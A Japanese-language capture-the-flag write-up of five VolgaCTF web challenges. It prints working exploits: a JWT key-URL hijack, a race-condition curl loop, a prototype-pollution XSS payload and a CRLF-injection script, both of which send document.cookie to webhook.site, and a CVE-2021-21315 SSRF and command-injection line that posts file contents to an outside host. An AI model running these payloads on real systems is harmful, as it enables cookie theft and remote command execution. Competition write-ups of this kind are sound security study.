3/27 - 3/28という日程で開催された。zer0ptsで参加して22位。Rating weightは13.01と不評だったけれども、Web問は面白かったと思う。
- [Web] JWT
- [Web] Online Wallet (Part 1)
- [Web] Online Wallet (Part 2)
- [Web] Static Site
- [Web] Unicorn Networks
[Web] JWT
JWTをデコードすると jku
やら jti
やらがヘッダに付いていることがわかる。jku
を https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d
に変えるとwebhook.site側にはHTTPリクエストが飛んできて、Webサーバ側では次のようなエラーが発生する。
JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS256","alg":"HS256"} due to an unexpected exception (org.jose4j.lang.JoseException: Parsing error: org.jose4j.json.internal.json_simple.parser.ParseException: Unexpected token END OF FILE at position 0.) while obtaining or using keys from JWKS endpoint at https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d): JsonWebSignature{"kid":"HS256","alg":"HS256"}->eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwczovL3dlYmhvb2suc2l0ZS9jYzczZjFlNS0xZmMzLTQ1NWQtOGFlMC03MTU1NzNhM2VhMmQiLCJleHAiOjE2MTc1MDgyODMsImp0aSI6ImFfYmNkZlFPVWZtenZRUVhzLWxwdFEiLCJpYXQiOjE2MTY5MDM0ODMsIm5iZiI6MTYxNjkwMzM2Mywic3ViIjoicG95b3lvbiJ9.v4cYdzJyE2L9fb5V5nMFzZd1HkSojbn8ZvxKLSh4qho]
以下のようなJSONを返すURLに jku
を変更してやると、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
という秘密鍵で署名したJWTが正当なものと判定されるようになる。sub
を admin
に書き換えるとフラグが得られる。
<?php header('Content-Type: application/json'); ?> { "kty": "oct", "alg": "HS256", "kid": "HS256", "use": "sig", "k": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=" }
[Web] Online Wallet (Part 1)
インターネットバンキング的なWebアプリケーションを攻撃して、なんとかして(最初に100与えられる)残高を150を超えるまで増やせという問題。
app.post('/withdraw', async (req, res) => { if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string")) return res.json({success: false}) const db = await pool.awaitGetConnection() try { result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid]) /* only developers can have a negative balance */ if((result[0].balance > 150) || (result[0].balance < 0)) res.json({success: true, money: FLAG}) else res.json({success: false}) } catch { res.json({success: false}) } finally { db.release() } })
レースコンディション。
$ f() { curl 'https://wallet.volgactf-task.ru/transfer' \ -H 'Content-Type: application/json' \ -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \ --data-raw '{"from_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","to_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}'; } $ g() { curl 'https://wallet.volgactf-task.ru/transfer' \ -H 'Content-Type: application/json' \ -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \ --data-raw '{"to_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","from_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}'; } $ f&g&f&g&f&g&f&f&
[Web] Online Wallet (Part 2)
?lang=/../deparam
でjquery-deparamを読み込ませることができるが、これはPrototype Pollutionができるバージョンが使われている。?lang=/../deparam&a[0][]=1&a[0][__proto__][__proto__][b]=1
で Object.prototype.b = 1
相当のことができる。
jQueryのgadgetを使ってJavaScriptコードを実行できるかと思いきや、それだけでは発火しない。幸いにも id="depositButton"
という属性を持っているボタンにホバーするとtooltipが表示されるようになっているので、以下のように iframe
で開いた後にURLに #depositButton
を追加してやればOK。
<iframe id="iframe" src='https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0][]=1&a[0][__proto__][o][1]=%27%3E%22%3E%3Cb%3Eas&error&a[0][__proto__][__proto__][div][0]=1&a[0][__proto__][__proto__][div][1]=%3Cimg/src/onerror%3d"navigator.sendBeacon(`https://webhook.site/...?1,${document.cookie},2`)"&a[0][__proto__][__proto__][div][2]=1&error' width="800" height="600"> </iframe> <script> navigator.sendBeacon(`https://webhook.site/...?test`); const i = document.getElementById('iframe'); i.onload = () => { setTimeout(() => { i.src += '#depositButton'; }, 500); navigator.sendBeacon(`https://webhook.site/...?${btoa(i.src)}`); i.onload = () => {}; }; </script>
[Web] Static Site
nginxの設定は以下のような感じ。/static/%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a
でCRLF Injection(とかHTTP Response Splittingとか呼ぶやつ)ができる。
server { listen 443 ssl; resolver 8.8.8.8; server_name static-site.volgactf-task.ru; ssl_certificate /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem; ssl_certificate_key /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem; add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always; location / { root /var/www/html; } location /static/ { proxy_pass https://volga-static-site.s3.amazonaws.com$uri; } }
volga-static-site
というS3バケットのリージョンは以下のような手順で特定できる。
$ curl -i s3.amazonaws.com -H "Host: volga-static-site" HTTP/1.1 200 OK x-amz-id-2: hIwiy1NTk84Yw0NfevKpu5gC4oE9XDKNtxpwG7O0X0sBGLgZBiTtpYEUubwo/Qn07hFnXztQUMU= x-amz-request-id: NKKTW8G91RTVVZPG Date: Wed, 16 Jun 2021 16:50:21 GMT x-amz-bucket-region: us-east-1 Content-Type: application/xml Transfer-Encoding: chunked Server: AmazonS3 ...
同じ us-east-1
でS3バケットを作り、以下のような内容の index.html
と location.href=['…',document.cookie]
という内容の exp.js
を static/
にアップロードする。外部からアクセスできるように設定を変更した上で https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a
というURLを報告するとフラグが得られる。
<script src="/static/exp.js%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a"></script>
[Web] Unicorn Networks
我々は手探りで脆弱性を見つけたけれども、CVE-2021-21315という脆弱性だったらしい。SSRF + OSコマンドインジェクション。
$ curl -s -k -g -X $'GET' -H $'Host: 192.46.237.106:3000' $'http://192.46.237.106:3000/api/getUrl?url=http://.../redirect.php?redir=http://localhost/api/admin/service_info?name%5b%5d=%2524(curl%252bhttps://webhook.site/...%252b-d%252b%2560cat%252b%252a%2560)'